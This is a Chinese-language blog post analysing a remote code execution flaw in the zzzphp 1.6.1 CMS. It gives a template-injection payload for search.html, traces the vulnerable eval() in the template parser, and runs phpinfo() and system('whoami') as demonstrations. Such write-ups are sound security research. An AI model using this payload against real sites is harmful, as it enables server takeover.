zzzphp V1.6.1 遠程代碼執行漏洞分析
- 2020 年 3 月 26 日
- 筆記
文章源自【位元組脈搏社區】-位元組脈搏實驗室
作者-sher10ck
這是一個通過模板來進行命令執行的一個例子,第一次遇到,很有趣。
漏洞復現
本地搭建好環境,登錄後台,找到模板管理–>模板管理:


然後找到cn2016/html/search.html(其實也就是網站下/zzzphp/template/pc/cn2016/html/search.html),將裏面的代碼修改或者添加:

{if:assert($_request[phpinfo()])}phpinfo();{end if}
然後我們再訪問 http://127.0.0.1/zzzphp/search/


看見phpinfo已經執行出來了,怎麼出來的,能夠怎麼利用,目前還不知道,跟蹤下源碼吧。

漏洞分析

原來的search.html長這個樣子。
首先我是跟蹤到了search/index.php:


然後引用了 /inc/zzz_client.php ,跟蹤下去


這裡又引用了 zzz_template.php, 還不確定,先看一下。
這個文件裏面有很多正則表達式,匹配了我們search.html中的{zzz:xxxx}
然後就一直往下看,在文件快結束的地方,找到了想要的代碼。


有了eval函數,看來基本上就是這裡了,接下來我們慢慢分析。
這裡為了方便,寫了一段測試代碼,來看一下匹配之後的內容

<?php $zcontent = '{if:assert($_request[phpinfo()])}phpinfo();{end if}'; $pattern = '/{if:([sS]+?)}([sS]*?){ends+if}/'; preg_match_all( $pattern, $zcontent, $matches); var_dump($matches) ?>

我們就曉得 $matches 變量的值了。
繼續看代碼

if ( preg_match_all( $pattern, $zcontent, $matches ) ) { $count = count( $matches[ 0 ] ); for ( $i = 0; $i < $count; $i++ ) { $flag = ''; $out_html = ''; $ifstr = $matches[ 1 ][ $i ]; $ifstr = str_replace( '<>', '!=', $ifstr ); $ifstr = str_replace( 'mod', '%', $ifstr ); $ifstr1 = cleft( $ifstr, 0, 1 ); switch ( $ifstr1 ) { case '=': $ifstr = '0' . $ifstr; break; case '{': case '[': $ifstr = "'" . str_replace( "=", "'=", $ifstr ); break; } $ifstr = str_replace( '=', '==', $ifstr ); $ifstr = str_replace( '===', '==', $ifstr ); @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' ); |
---|
$ifstr 變量的值為 $matches[ 1 ][ $i ],我們這裡也就是$matches[ 1 ][ 0 ],也就是 assert($_request[phpinfo()])
然後繼續跟進,有一個cleft函數進行了處理,跟進:


這段代碼的意思就是去除掉兩邊的空格之後,取出我們的第一個字符。
我們這裡的 $ifstr 第一個字符 「{「 ,沒啥用,最後就是:

1 |
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' ); |
---|
我們這裡吧 $ifstr 的值帶進去。

1 |
@eval( 'if(assert($_request[phpinfo()])){$flag="if";}else{$flag="else";}' ); |
---|
然後本地運行一下:


居然執行了~~~


神奇。

1 |
eval( 'if(system("whoami")){}else{}' ); |
---|
看來裏面是條件語句判斷也行